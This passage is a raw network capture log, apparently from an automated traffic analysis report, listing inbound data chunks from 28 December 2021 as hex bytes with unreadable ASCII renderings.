65 a8 da 2e b2 06 8a bc d0 93 9d f6 d2 54 42 7c 7c 8d 17 1e be 76 46 09 f2 19 16 25 96 Data Ascii: Az^cP6qxdm-6~(EFR _W'{E*tX`Dp;sKZi]g8cT05oj9IV:Qb0"/d-J$oQi7GAK6\do@0pRamMpT<5o6:>:QHe.TB\|\|vF%
2021-12-28 04:19:41 UTC	1937	IN	Data Raw: fe d8 56 f4 04 99 ef 9c 92 9a 17 df b1 a3 25 6c 56 a6 43 1d fa ec 8f 15 9a 3a 54 e1 03 04 f1 f5 c4 8b 9a 46 94 3e d6 1f 8f 96 fc 18 c0 77 3f b0 2d 68 d0 07 a5 48 96 b9 94 24 e5 ab 2d e3 2d 8c cb 20 d3 6a f8 c9 01 e7 1b 8d 79 2b ff 2f 1c bc 83 09 b6 61 2f f2 89 97 b2 4e 68 df 24 33 9b 67 8d cc 48 7d ad 05 6e 0d 6f 4f 5e 51 9c c9 18 c5 33 d5 6c 2b 8a d8 6e bd 3d 1e cc fc 26 a4 01 59 41 30 7d e7 b0 e7 aa 7b 3d 4d 0c f9 6a fb 5e d8 d7 65 42 34 95 f3 25 53 8b 75 fa 41 fd bd d8 5c 1c ff 00 c4 de 7b 88 3c e1 ff 40 48 28 c7 06 88 2f f7 71 f7 08 0a 96 d2 23 24 42 92 c8 81 99 be 9a eb bf 6a 34 ab 42 1d a2 2e 2d 70 aa ac 31 9c 95 fb c5 77 91 68 55 e9 b9 bb 11 84 fc 65 7e e5 ab db b3 84 2a 42 00 61 25 5f 7a 3c cf 45 9f 67 a5 37 40 d6 1e bd b3 b0 92 21 f3 89 0a 43 6e Data Ascii: V%lVC:TF>w?-hH$-- jy+/a/Nh$3gH}noO^Q3l+n=&YA0}{=Mj^eB4%SuA\{<@H(/q#$Bj4B.-p1whUe~*Ba%_z<Eg7@!Cn
2021-12-28 04:19:41 UTC	1953	IN	Data Raw: e3 6a 96 14 4e e6 1f b6 28 8d a3 c3 b7 51 a4 66 29 3b 45 1d ee 58 d6 d4 fd 31 a3 38 df e6 04 70 92 e7 10 10 a9 25 b4 18 84 81 5c 09 30 4d 04 d8 10 11 bb 8e b0 20 a6 d2 47 3d 46 e1 3b 23 85 01 eb 1b 7d 49 ab 97 cd 4a e0 d7 15 e2 bb ec f2 49 c0 1a 11 5e 8d 2c 55 9b 0b 1e 1e 73 48 4e d6 7f 1d 5c 68 c1 f7 36 8c 9d 42 e5 84 44 44 2a 25 3b ab d7 52 f3 bb c9 0a e4 49 15 8f e2 a1 cc 00 00 78 f1 e6 72 6d 08 4a e8 fe 5c 2c 66 8c 00 cc 94 2b 15 6b 05 da ef be df 46 1e f6 53 af 63 78 73 8f ea 1c b0 4e 79 21 24 0c a9 d1 02 45 d9 a4 11 00 34 84 e3 35 b1 63 7b 5a b0 00 f7 3c 34 b3 13 8e 91 fd 80 6d ff bd 09 02 3b 68 6e eb c2 cd 96 d9 8c 66 99 23 47 7c 5e 46 df 07 e5 0c e5 dc 97 17 a4 fd d8 07 0a 52 24 0a 04 3c 7f ff 3b a5 4b 86 34 89 72 0a aa 37 81 c7 ff 77 ef e0 80 26 Data Ascii: jN(Qf);EX18p%\0M G=F;#}IJI^,UsHN\h6BDD*%;RIxrmJ\,f+kFScxsNy!$E45c{Z<4m;hnf#G\|^FR$<;K4r7w&
2021-12-28 04:19:41 UTC	1969	IN	Data Raw: 05 2f 54 af 81 f5 01 26 11 e5 f7 1e 99 d5 84 f4 c7 ac 1f ba 69 b9 5a 31 80 6f a9 48 92 fa 8d 43 71 02 51 3a cd 21 b4 02 09 9c 14 65 4b bd 3b 2b ac 76 c4 31 55 3a 3c c4 a2 b0 79 6d a7 79 cb cc ab 35 ce c6 56 82 f4 e1 92 be f8 ba 2b 48 4f 2f 8c 8a b7 c6 e3 2f d3 a4 36 39 ed 94 c8 84 7b 10 84 3b b2 b4 9f c6 49 7b 24 dc c3 fb 7d c2 d9 c3 fa 3c b9 6b 7f 0f 8f 74 69 45 83 af 28 ed 87 e5 b4 67 d6 2e 8e 0f 41 c2 3b 0e 7a 95 90 a0 59 ea 0c ce 04 37 18 8a 13 e3 02 f8 91 44 0a 68 18 6a 39 d3 88 6c 97 a3 8d 61 10 f9 25 da 5e 81 96 b7 c6 09 29 f1 03 ef d3 d0 a9 d2 ef aa 5d e2 ce ce 70 ab 36 c3 25 d3 c7 2f c4 59 ff 2a 9c ca 07 bd 29 f9 fc 22 43 27 a7 05 e5 64 c5 ab 3c a4 e4 58 d3 e6 5a e8 c9 ed 79 a6 43 13 9b 16 b1 f0 28 b0 6a d9 35 5f 7c e4 22 e3 3f 37 64 91 32 e6 a7 Data Ascii: /T&iZ1oHCqQ:!eK;+v1U:<ymy5V+HO//69{;I{$}<ktiE(g.A;zY7Dhj9la%^)]p6%/Y*)"C'd<XZyC(j5_\|"?7d2
2021-12-28 04:19:41 UTC	1985	IN	Data Raw: 1f cb f6 8f f6 0e b4 7b f2 a4 0c df 84 1c b1 4f 00 f5 1b 53 21 b7 21 18 9f 0d 2b d3 46 e5 2f 4c 1e e9 94 41 4e a7 22 a6 c5 45 84 6a 15 46 f2 96 23 25 a9 10 be 5c f0 53 58 eb e1 f1 57 38 7e 62 2b be 3d 0a 5b cd 64 36 e2 5d 36 be fa c0 63 66 1d af a6 50 bd 7b 13 fe 89 98 b3 3f da 61 e9 73 ca ee f1 e3 eb 99 37 58 61 8f f7 11 d7 46 25 e2 be 87 0c d3 3c 9e 6c 1f 6c ee 2b 2c 31 2e ba e8 fd ec af f2 c1 8e 6e b3 a9 20 9e 00 e6 22 06 b4 99 02 c6 85 ac b2 b2 88 ae 60 29 62 5f 1b 12 96 7d 47 31 d8 30 c3 5d 95 b2 a5 92 52 5a d6 1d 57 d7 5a d9 b1 b2 4d f6 9f ac 6c 84 cd 97 5d 55 94 ca 56 f8 8f 21 95 a7 9b d9 1b 43 18 b2 67 bf 18 2e 00 c6 ef cc b5 09 fd ae 9e b8 6c e6 ca 88 20 fd 7b f4 ea 84 6a f9 57 cc 9f 8d 2f ee 82 a5 87 24 5e c6 65 7d 6e 94 a7 5b f8 86 1c 58 a0 72 Data Ascii: {OS!!+F/LAN"EjF#%\SXW8~b+=[d6]6cfP{?as7XaF%<ll+,1.n "`)b_}G10]RZWZMl]UV!Cg.l {jW/$^e}n[Xr
2021-12-28 04:19:41 UTC	2001	IN	Data Raw: 78 3a fc 47 f0 6f 20 46 6b 55 4a 25 a0 f7 85 f3 b8 10 d7 77 40 2e 52 13 a6 48 e9 d6 14 03 62 85 4f 6a 32 00 75 f7 15 e7 e8 78 0c 23 63 04 f6 50 b4 90 5b 72 2b fa d6 1a 6b eb a4 09 d9 a9 a8 51 02 bc 77 57 99 6d 93 02 0e 5d a8 f6 e4 38 c5 74 9e 6b 23 90 07 50 39 5c 68 3e 2a c7 d1 7c 1e 6c e0 3f b7 60 aa 3b 6f aa 41 1a ff 29 ad a1 c6 5e 9f 18 da 8e 4f 1c c6 a8 37 be 53 98 ae da 19 65 40 70 c5 47 bf ab 64 53 89 bc 3d fe 09 b8 76 d6 cd 9d a6 c7 2c a9 33 82 4b cf 4f 2c 5a a7 06 fe 4b b0 c0 7d e2 4a 92 bd 31 6b 80 b2 8f 3b 99 3d e3 b8 e1 c6 85 a0 39 39 ab c8 f7 c0 bc 44 2d 65 54 e6 a3 40 3c 9f 9f 5d 87 9e 21 e6 44 ae f7 d6 f7 0c be d4 13 ce 40 57 66 26 7a d9 7b cc 96 ad 90 17 bd b1 33 22 ee 9a 0a c7 10 6b c1 fa f5 07 e1 08 23 0c c2 14 68 50 93 b6 a7 c6 e3 ed 7b Data Ascii: x:Go FkUJ%w@.RHbOj2ux#cP[r+kQwWm]8tk#P9\h>*\|l?`;oA)^O7Se@pGdS=v,3KO,ZK}J1k;=99D-eT@<]!D@Wf&z{3"k#hP{
2021-12-28 04:19:41 UTC	2017	IN	Data Raw: 9a 16 4e 27 ae d9 3f bb 00 09 8c ed a1 34 1c e9 b1 00 81 cc eb 12 99 92 78 16 30 33 b2 c6 4c f7 5c 15 73 e4 be 33 7f 73 e6 92 31 3f f9 7d 71 32 88 09 0d 68 23 c7 c7 51 d5 c4 48 b6 b3 ca d2 f4 26 6c 23 e1 7c aa 66 a0 1e 46 24 f4 33 7c 39 d7 0a fe 84 4a 17 a4 9e 2a c9 6c d8 9e d8 9f a4 c4 eb 6e c3 49 30 51 5c bc a9 d4 43 83 f2 88 b4 fe 74 8d c8 2b 7f 16 88 dd 02 f8 c3 94 cf 1e cd 7c 69 89 ef cf ca 4e 07 48 65 fc d6 e6 38 da cb f3 79 00 9c 13 54 2f 2e ee 6a 97 6c f7 f6 50 bf 18 6a 9d f9 f1 c5 12 95 04 ff b4 bf c5 5a 51 43 d5 bc 5d 77 1e af 26 4a 25 36 df d0 91 e1 04 b5 04 b3 7d 88 dd 73 62 ba 86 8b 76 b2 2f f8 c2 aa 42 8a 3e de a5 3e ff 93 1a 98 dc 1c e5 3e 21 f3 79 a0 b8 b3 7c 18 aa 66 9a a9 62 36 a6 84 0f 4b 0f 12 46 93 9d aa 49 04 d7 c4 fb 2a fb a5 06 87 Data Ascii: N'?4x03L\s3s1?}q2h#QH&l#\|fF$3\|9JlnI0Q\Ct+\|iNHe8yT/.jlPjZQC]w&J%6}sbv/B>>>!y\|fb6KFI
2021-12-28 04:19:41 UTC	2033	IN	Data Raw: ee f3 90 d0 c6 c5 09 e4 5c f1 e7 fa c6 4c a9 f0 0f cf ca 1e 78 d4 42 34 fa f8 a4 d1 15 40 cf 14 97 8d 6d 7b c0 6c 68 b6 bf de f5 21 57 f7 d3 32 24 99 37 47 5e f1 7e af 2e 35 27 aa 17 ec 53 ea 21 46 49 64 20 e8 0c b4 54 4a a1 2c 21 2c 1d 9c ef 66 35 52 13 6a 4f ea 23 d5 c1 2d d1 6a f6 6a 54 91 25 af 7a bd 1c 7d ee 5e d4 96 37 b1 62 64 5b 6d 99 b5 2f 60 57 a3 7c dd 0e 02 cc 59 25 7f 34 08 61 e2 53 ae 7e 9c 38 dc 5f 29 80 7b 0a 94 28 c0 74 d4 65 7d 95 8e 1f d0 ad 1e 3f e5 b1 5d 78 a7 6f 5f 06 7b 5c f1 de 77 66 47 32 e1 b3 f9 37 e5 12 5c 14 5e 7f b4 3a a5 d3 74 23 21 08 fe 6c 6b 66 43 b3 4c a4 1e ea 5a 3c db f5 69 53 52 f0 8a 87 62 5d e3 12 6d b4 87 02 1e d1 e4 76 e4 f2 58 f2 53 c6 d0 0a 17 cd 41 51 9f c5 dd d2 a2 65 14 8f d8 71 d4 5e a8 5a 88 89 61 a2 8c c4 Data Ascii: \LxB4@m{lh!W2$7G^~.5'S!FId TJ,!,f5RjO#-jjT%z}^7bd[m/`W\|Y%4aS~8_){(te}?]xo_{\wfG27\^:t#!lkfCLZ<iSRb]mvXSAQeq^Za
2021-12-28 04:19:41 UTC	2049	IN	Data Raw: 5c dd a1 cd 1f 1c 19 cb dd 5e af 42 d3 ec be fe d7 80 30 83 ab c0 bb 4c 2e 3a 32 0d ce 5c 44 02 37 a4 60 09 0a a7 48 64 25 85 16 39 2f af 7e a1 8b 47 a8 95 8f 80 f3 30 8b d9 cd 10 58 7e 9c e7 23 e1 de 5b e8 4c a4 5d bd 49 68 22 bf e0 24 c0 c1 f8 da b3 09 3e d9 cc c6 a7 4d d2 37 34 f6 8f d8 58 3f bf c0 b0 2c 62 81 3b 58 64 85 f9 0f 1e 0b 14 27 b5 df 6a ef 6e 1f 78 a6 18 62 ef 97 d6 44 aa 26 4b 81 17 0a 23 6c 9c f0 c8 89 11 96 6a 74 fe 2c c2 b1 89 1d b8 f8 cd ea 04 95 60 c2 b4 f9 cc 09 67 ae 85 04 37 01 c3 dd b8 6e e5 8a 4a 82 b0 0c 34 78 b6 65 7b b4 ea 14 48 40 32 6e 1b 27 01 52 b4 57 e0 66 23 59 20 5a cf 51 c8 7b c7 68 74 84 cf bc f1 99 d0 94 1a 58 41 d8 e5 f3 95 c5 44 45 2e fb 97 b2 b1 42 77 c8 47 d8 19 f9 15 c7 0c 1a ba 33 e2 91 0f 56 25 8e e0 a9 ff 84 Data Ascii: \^B0L.:2\D7`Hd%9/~G0X~#[L]Ih"$>M74X?,b;Xd'jnxbD&K#ljt,`g7nJ4xe{H@2n'RWf#Y ZQ{htXADE.BwG3V%
2021-12-28 04:19:41 UTC	2065	IN	Data Raw: b4 4e 62 a0 35 e4 24 53 ce 49 cc 39 2a 20 d3 8e 75 3f 63 a3 f6 20 29 b7 ed 95 0b 9e a8 14 84 6d 75 50 70 1b 01 25 0f 34 1a f3 bb 58 00 46 06 7b 50 57 9a 5e 48 5f be 38 28 26 fe a7 18 ff ad 39 c9 ad fd 01 f4 42 c5 4a 73 1a d8 0e c7 f5 d5 97 b3 b0 86 c9 35 ee 1b b0 c9 a7 b1 d5 31 83 94 8a d8 51 e0 a9 ca 6a ba 21 4d e8 1c 31 fb 49 79 99 f5 06 85 2e 35 77 aa 75 1f 15 d0 3b 7e d3 fd cf f0 62 d0 e0 b5 40 65 cd 24 56 09 4b 4a 26 1d c9 c8 cb 82 55 aa 07 be ee b4 1c 91 f8 6b c4 72 bb ab bd 60 7a 82 f1 68 ce 03 37 64 0e 8c a2 3a ef 46 13 68 6a ef f4 94 54 7f 27 32 3a 16 6f a8 0f 48 12 3c 4d 33 98 2c 73 24 1a 4c a9 54 8c 8d 05 e3 a4 3b 34 0f 97 65 00 07 15 7f 45 19 bd 94 aa ab be 8a 86 94 f7 78 96 59 e9 86 b7 f8 b8 24 d5 7d fa 26 10 69 80 bf b4 88 c4 8d 8f b2 8e ef Data Ascii: Nb5$SI9* u?c )muPp%4XF{PW^H_8(&9BJs51Qj!M1Iy.5wu;~b@e$VKJ&Ukr`zh7d:FhjT'2:oH<M3,s$LT;4eExY$}&i
2021-12-28 04:19:41 UTC	2081	IN	Data Raw: c5 2d c4 2b 27 35 f0 ff c2 1a 46 50 79 62 72 cd 2d 56 bb b1 ed d7 18 20 77 b8 7b d2 99 64 b8 74 12 40 2f 46 a9 30 ca 26 a5 06 10 6e 6a b2 e3 68 ed 23 2e 71 aa 32 db 04 29 da 17 30 7d a0 8f 33 09 2c 78 37 82 5e 1a cc 4f d0 11 a4 38 31 d7 98 1c 87 6a f3 39 26 23 84 20 56 7b 61 cb d0 85 c3 eb 5a 4a 9e 8f a5 0f fa 67 ef 44 36 4d 83 63 cc 5d b2 5f d5 b8 3c b4 94 c6 9d 20 c0 5b 35 bc db 66 da c8 e6 c3 a4 07 f0 82 14 63 3e 0f 56 6f fb a8 59 12 5a 5d de 35 7b d8 ab 18 68 28 9c e2 1d 81 5b 86 2a 17 c0 5b 98 fc 10 62 50 7e e5 dd a7 f9 e3 bf 44 f4 51 27 24 c0 7b fb bb 01 69 79 9e f4 22 5d 11 09 ca 33 8e 0e 97 27 e4 a1 17 2e 95 9c 23 93 c7 91 0a e0 06 e5 12 8f ff d5 31 d4 7a 33 bd 50 0f a9 de f3 a4 3f f8 ef 97 8f 48 76 20 8c 41 52 52 0d bb 40 3a 54 97 2d 7a c9 c5 38 Data Ascii: -+'5FPybr-V w{dt@/F0&njh#.q2)0}3,x7^O81j9&# V{aZJgD6Mc]_< [5fc>VoYZ]5{h([*[bP~DQ'${iy"]3'.#1z3P?Hv ARR@:T-z8
2021-12-28 04:19:41 UTC	2097	IN	Data Raw: ba 55 98 28 09 20 4e 38 53 5d 66 4e 69 cd ae bb 21 05 d0 b8 c5 60 c1 00 9a b3 16 a0 e0 94 8f 4c 1a 80 d1 09 de 76 4a ac 7a d8 dc 3d a3 9a b2 e2 b7 6d 77 db 23 f9 84 df 0c 56 f0 20 9b d6 3a 15 d3 65 67 6f 57 6c 5f 71 88 67 f5 fe 53 18 72 c5 7b cf af f1 90 2c 16 ee e8 63 d0 f0 58 84 28 53 bb 95 43 a1 9f 85 9d f1 b2 d7 39 b2 63 41 f7 6d 09 d6 2e a2 f3 2f 80 b0 15 01 03 55 11 09 c9 b4 bd ad 2c c4 77 a1 b7 76 ba c6 b2 9d 2b 86 b8 5c 95 12 03 13 71 9b e2 5e 94 f2 8b 27 44 90 13 70 1c de b7 bb eb 26 55 c5 4c d2 10 bb 5f a6 fb df 86 f3 3d 24 36 57 67 6b 6a 96 96 ca 0b a6 ff 7d 61 fd 1b 51 ab eb fa 6f f4 36 2d f3 f2 c7 69 f2 11 0c 1b 8b 18 f6 54 f2 e2 20 d6 ff 8b 5d 80 e2 1f ab d6 fd 8b 0a df e1 2d 86 b9 6f 0e 1d 18 bd 8b 8e da b1 aa e2 88 e4 08 00 9b cd 02 2a ac Data Ascii: U( N8S]fNi!`LvJz=mw#V :egoWl_qgSr{,cX(SC9cAm./U,wv+\q^'Dp&UL_=$6Wgkj}aQo6-iT ]-o*
2021-12-28 04:19:41 UTC	2113	IN	Data Raw: 34 16 d2 20 9b f8 5b b3 de d8 0e c6 78 7c 79 5f 24 c8 2e a8 bf 1e fa f7 af c9 43 4f 4f c3 47 8f 1d d2 62 4d c7 f1 6d 11 64 01 d2 8d 44 95 86 5e b1 b7 f5 f3 c0 8d 2b 7e 2c 0b ff a5 d7 01 d2 37 86 5b 61 79 09 85 20 29 f1 42 14 40 b9 ae a8 13 e8 8e b1 0d d3 f7 ec 10 87 f1 48 15 f7 af ee 01 eb a7 92 0d a8 ff a2 96 a9 16 81 45 74 19 1c 8d 94 c2 57 49 49 74 8a 46 29 c9 0d 86 2d 03 7b 98 c0 c0 0c d2 87 ac 7f 74 cb 4d 6d 49 cf a1 82 02 62 a8 6a 85 61 0d 13 eb d6 05 ce 0f 63 2b 1b 70 a2 3f f9 1e 3f a7 f9 49 12 df 0b a0 ea ee 84 7e c2 63 08 8d d8 e2 8a a7 b8 bc fe a1 d3 25 e2 2d 5e ab 92 83 19 2b 47 55 a5 c4 d7 86 ce 19 1f a0 6e fb 96 bb d4 ae 4d f4 c7 c1 f6 68 96 0e 39 7b 0a f4 86 78 52 f0 c1 8e f8 24 c7 b4 6d 96 17 8e e9 48 19 2b 50 51 3a a0 20 7a 45 b2 e6 b4 81 Data Ascii: 4 [x\|y_$.COOGbMmdD^+~,7[ay )B@HEtWIItF)-{tMmIbjac+p??I~c%-^+GUnMh9{xR$mH+PQ: zE
2021-12-28 04:19:41 UTC	2129	IN	Data Raw: ba 60 5f 0c 98 7e 51 12 f9 05 ce 4e 45 82 71 08 73 ea 08 02 0d f3 b8 aa 96 50 51 1f b2 0f 39 90 e4 fc 1c b9 6e 22 56 25 aa ef 10 7c cf ae 34 e6 f1 c0 fe 8f 66 63 14 b2 9a 9e be c7 d3 81 e3 cb 77 4f 70 c4 7c 8d 77 c5 e5 9c 05 a3 1d 7f df 84 ad a1 49 2c 63 0c 05 d8 d9 f3 e5 6d ed 22 e6 7f 84 8a 53 da 64 9a 99 2e 6c 8f 53 3c b8 07 f4 8d fb 58 86 92 56 85 41 12 4e 18 80 2f a9 7f d1 11 4d 72 7e e6 73 6c d2 ce b0 57 4c 11 dc 7e 77 73 2a af 79 38 61 9e c1 72 2a f1 66 5b 91 a5 b0 65 41 f0 6b 1a 2d 3b 17 02 97 e4 32 89 81 f1 2f 75 c1 c3 2c 05 7c c1 e9 73 e9 10 17 8e 86 55 38 b0 b4 2d d6 38 23 4a c1 63 4b 21 ec ef 45 9e cb 9b 9f 8b 9f 3b d2 88 e7 7e 45 e5 9b 09 70 c7 ae 66 f6 d4 ba 8f e3 a8 99 70 39 bb 52 3f ec 63 37 e0 4b 0d 58 00 41 a7 05 f0 40 bb 44 30 35 6a b5 Data Ascii: `_~QNEqsPQ9n"V%\|4fcwOp\|wI,cm"Sd.lS<XVAN/Mr~slWL~wsy8arf[eAk-;2/u,\|sU8-8#JcK!E;~Epfp9R?c7KXA@D05j
2021-12-28 04:19:41 UTC	2145	IN	Data Raw: b5 2c 64 82 f4 96 ed 14 7c da 3a d6 3c 90 a8 50 3f c6 92 b4 69 0e 0a 47 88 76 af 4e 8b 1e e9 65 66 17 85 89 9c c9 34 6d 2c 22 9c 88 bf 24 3b f7 db 2d 58 67 33 a7 9a a6 e1 66 d4 ba b3 24 d0 6c 76 b5 64 a6 98 b0 a3 e1 d3 3d 64 2c 8c 13 be dc 5c a6 17 4f 15 81 4a ac 3c 7f 14 b5 42 85 de 23 15 47 c4 c7 68 82 4c 04 11 f0 5f d7 40 bf b1 8a 37 a3 0d 1c 28 ed 70 6e e4 4f 82 b9 53 07 ae 01 d7 84 c5 47 95 22 cb 4e 91 2a f5 f7 54 46 e8 1e be c2 b4 59 04 ba 2a 09 f4 27 2c f0 1d c7 34 11 1c dc 83 ab 15 2d d7 1c 81 f2 9f 73 6c 18 9f 2c 68 a4 a5 71 c5 c5 57 aa 5e 8e 40 ce 3c 76 33 91 e3 02 8b 4f 52 80 dd 25 71 fc b4 89 0b 23 b3 1e 19 2f 28 9f 3a 77 ce c2 80 1e 9d d5 c7 ba fa 48 fd d4 66 ac 02 84 f2 a0 d8 76 11 e4 46 d3 bb df 3a 02 04 9d 56 1d 5b 69 3f a1 51 9a ae 35 70 Data Ascii: ,d\|:<P?iGvNef4m,"$;-Xg3f$lvd=d,\OJ<B#GhL_@7(pnOSG"NTFY',4-sl,hqW^@<v3OR%q#/(:wHfvF:V[i?Q5p
2021-12-28 04:19:41 UTC	2161	IN	Data Raw: b7 13 09 0c 64 87 29 72 64 48 91 bd a0 33 a3 c6 1b 23 d3 28 fd ea 4a 4d 52 c4 51 2d fb 48 aa 11 a8 39 1f 3b c0 53 14 44 ea 75 74 ac 1f aa a8 0d 08 6b b1 0d 45 2d aa af b3 2c ae eb a7 bb b9 a2 28 57 0c 53 3c 18 b0 c7 cf 2d 9c ca 88 39 69 a1 a6 d0 55 6a 08 e8 7b 79 f8 23 7c 32 de 37 26 e5 18 fb 4d 62 35 59 c3 10 29 b1 30 b9 fe 0b b9 d0 be 72 d5 e1 af 20 c4 91 6f ce 6a e3 3e c7 cc a7 9b 92 4c 3d ff 59 de 02 e6 f5 43 fa 0d 84 89 96 f9 7b 39 90 43 43 49 6a 79 12 a9 0a 70 b2 00 5f 5e 52 e6 f0 5f 30 05 03 7c bd e9 3d f4 e1 82 0e 31 2d 82 58 e9 26 41 bf 3f 79 1b a0 9e c2 8a bb ef 85 8c bf 72 f4 4a 2e 1e 57 84 a4 e6 a9 cb a6 33 6a 53 8b eb 4c c0 cb 3c 95 08 aa 90 ee 6b 54 55 c7 f8 91 63 04 12 a9 92 bc cc 12 4d f0 71 55 16 06 de 6f 4c b5 d5 85 58 48 77 35 86 72 08 Data Ascii: d)rdH3#(JMRQ-H9;SDutkE-,(WS<-9iUj{y#\|27&Mb5Y)0r oj>L=YC{9CCIjyp_^R_0\|=1-X&A?yrJ.W3jSL<kTUcMqUoLXHw5r
2021-12-28 04:19:41 UTC	2177	IN	Data Raw: d7 1a d4 b2 4b e2 b5 73 11 d6 31 ca de 49 54 b8 79 03 c0 ae 70 82 3b 5c 27 ff 93 54 09 69 31 75 2b b7 8e 6b 7c b5 a3 5a 01 df 32 f8 5a d5 bb a1 e7 53 d9 7a 2f dc 26 ab 54 e9 5c 19 c8 41 ac f9 6f 27 fd b8 1d f5 19 fb 6d 5a a9 f7 0e 8e c0 ff 85 b6 12 4c fd 5e 5d 91 27 df 53 e9 1c 25 2c a7 dd ca 31 69 bb 71 05 43 8c 6f 45 cb a2 6e 9a 6f 2e 3a b2 a6 b5 83 57 33 de 3b 7b 6a 28 ff e4 85 23 08 f2 a6 a3 51 21 1b 90 18 a6 a5 e9 3a 21 e9 5b a6 09 23 dd 4d 80 95 83 a3 5f 34 cd 22 e7 3f 1c 17 20 fd 51 45 5d 1f ce d9 17 96 30 6b 93 02 e1 18 96 46 0a 3b cb 46 79 41 9c 2a 28 c5 12 30 09 4c a6 66 0a e4 ea 5c 44 e5 bc c7 00 74 87 25 b9 7b a5 b3 2f 1a e0 45 b7 2c 6c e1 37 14 c1 3a 64 ab 50 ce 59 0c 6e 50 ca d2 fc 03 8a ac e9 96 e6 81 4d 94 45 52 17 89 30 0e b1 ac a2 53 a5 Data Ascii: Ks1ITyp;\'Ti1u+k\|Z2ZSz/&T\Ao'mZL^]'S%,1iqCoEno.:W3;{j(#Q!:![#M_4"? QE]0kF;FyA*(0Lf\Dt%{/E,l7:dPYnPMER0S
2021-12-28 04:19:41 UTC	2193	IN	Data Raw: c9 2b 3a 99 56 c2 a1 ca 5f 58 2c 3f fc c2 5f 9d 0f 5f 00 ec 7e 70 c2 04 cb 4d 76 0d 09 64 7a 15 c9 13 5d 54 9e 38 db 8d dd 78 0a de 34 26 18 d4 c0 40 73 a1 10 1d d6 8e 12 d8 13 e7 eb f8 46 4b 8a d2 e0 7d 13 e1 f7 f4 0b 1d 25 4d 5d 10 b4 6e d6 21 1b b7 93 b1 10 3a 97 77 c0 4c ba 3a 71 45 0a 4e 1a e1 7f 43 71 86 24 71 f6 d0 a0 dc ae 49 b1 97 01 91 3a fb 15 44 d8 b5 66 fb da df 03 94 84 59 13 69 0b c5 9c 03 58 5e 21 24 a5 e6 3b 1a fb d2 db d8 38 c8 8d c4 f8 4b 65 44 2d 66 7a 49 f2 7f 78 de 77 0c e9 12 5a 92 ac b5 21 98 dc 36 ca 19 84 33 75 33 64 22 75 35 3b be 10 9a 7b 25 62 6d c6 fa ba 8b b6 3f 5d 4d cb 09 5f 81 5d d3 88 fb a3 7d be 10 bd 2c f8 fc 99 33 ac 1d 2a d2 64 58 cb 48 af 34 91 59 5a b8 2e 3c 52 55 0e b5 4e f7 f7 30 74 ef b4 4f d5 c8 fe 20 2f 84 90 Data Ascii: +:V_X,?__~pMvdz]T8x4&@sFK}%M]n!:wL:qENCq$qI:DfYiX^!$;8KeD-fzIxwZ!63u3d"u5;{%bm?]M_]},3*dXH4YZ.<RUN0tO /
2021-12-28 04:19:41 UTC	2209	IN	Data Raw: 03 4a 55 38 57 fc a4 fc 14 2e dc 74 9f 9e ff b1 01 29 8b 6e 74 57 a7 82 b7 c8 16 06 d7 2c 06 81 ce e4 05 56 d4 c7 6d 73 d1 7c d9 49 23 7a 4a 71 e6 f0 f3 36 c9 ab c9 fb 7a c6 39 03 5d 47 73 90 98 29 35 b7 d8 12 91 9d cc 1b db 85 bc a0 54 7f af 52 14 b0 7f bd 20 03 04 a1 2e 8e c0 a0 93 a0 85 28 13 df a5 23 dc 75 66 41 d1 86 85 dc 98 95 12 c6 4c 6f 45 4b b3 2c f3 4c e6 e0 b8 0e 6e c7 17 c8 28 11 dc cd 59 33 2a fa 6e 9b 4f 4c a9 b4 9e d3 e4 b4 1e 2a 9f 1e a7 7d cc 2f 33 28 54 c0 4a 53 9e b5 06 98 70 9a 49 fc a8 f2 d9 52 9b 2b b9 9d c2 26 d7 f3 fd 68 00 ec 11 54 ea 88 44 79 da 44 3a 9d 2c c4 d4 2b c1 19 48 69 ad 66 75 88 29 8e 24 22 80 8d 6c 82 5c 86 0f 85 76 a3 b2 ac cd e0 2a 7c b2 f1 11 bf f8 3a 7a 09 f2 56 a9 15 75 39 f9 39 8c e8 ca 2a f8 9e 19 d5 43 72 f7 Data Ascii: JU8W.t)ntW,Vms\|I#zJq6z9]Gs)5TR .(#ufALoEK,Ln(Y3nOL}/3(TJSpIR+&hTDyD:,+Hifu)$"l\v\|:zVu99Cr
2021-12-28 04:19:41 UTC	2225	IN	Data Raw: 94 0b b3 21 61 f9 fc 13 1e ba ed ed bc 28 c4 33 47 0d f7 06 d2 e8 3e 25 86 fc 1c 4e ef 93 a6 86 02 59 b6 2a 1d 71 9c c5 13 a9 45 96 85 31 65 a1 2f 7a dc 05 4c 84 64 16 df a5 0d 2b ca 0a f0 41 c5 f1 f7 3d 34 07 4b d2 9c a1 91 3b 8e 90 54 b9 da 05 83 9e ba ca e6 3d 3d 16 6c 2c 45 6a ae 82 da 35 49 43 5c c5 68 fd 04 4f 75 10 b3 e1 a0 c6 c5 b6 ab 2c 15 f9 db 99 99 5c 67 d0 82 fd db a6 b1 d6 9a 36 a1 6b 27 e6 22 45 25 51 63 60 18 25 4e 59 2f f1 a4 62 79 47 a3 fa 18 dd 00 f8 21 c6 bc 81 96 2f 17 32 6a bf 09 0a 46 14 48 b9 c5 66 83 43 9e e2 65 5d 30 c5 62 4f 3c 8b bc 9e 7f 51 2d f7 19 0b 15 25 48 19 1b b4 62 0c 0a fe 2f 17 57 90 6b cf 38 31 72 ea 66 7b 80 0b 11 67 c8 24 b4 50 af 0a f1 21 34 47 61 e0 de 6c 2c 80 8c 71 02 ce 7f bd 07 9a 02 52 cf 10 de 73 45 5c 20 Data Ascii: !a(3G>%NY*qE1e/zLd+A=4K;T==l,Ej5IC\hOu,\g6k'"E%Qc`%NY/byG!/2jFHfCe]0bO<Q-%Hb/Wk81rf{g$P!4Gal,qRsE\
